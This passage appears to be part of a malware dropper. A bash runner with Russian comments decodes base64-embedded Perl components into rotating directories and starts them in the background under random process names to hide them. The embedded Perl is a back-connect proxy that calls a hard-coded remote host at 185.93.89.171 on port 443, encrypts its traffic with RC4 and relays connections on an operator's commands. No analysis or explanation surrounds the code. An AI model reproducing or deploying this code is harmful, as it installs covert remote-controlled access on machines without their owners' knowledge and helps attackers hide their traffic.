dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #47 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #47 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 48 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv 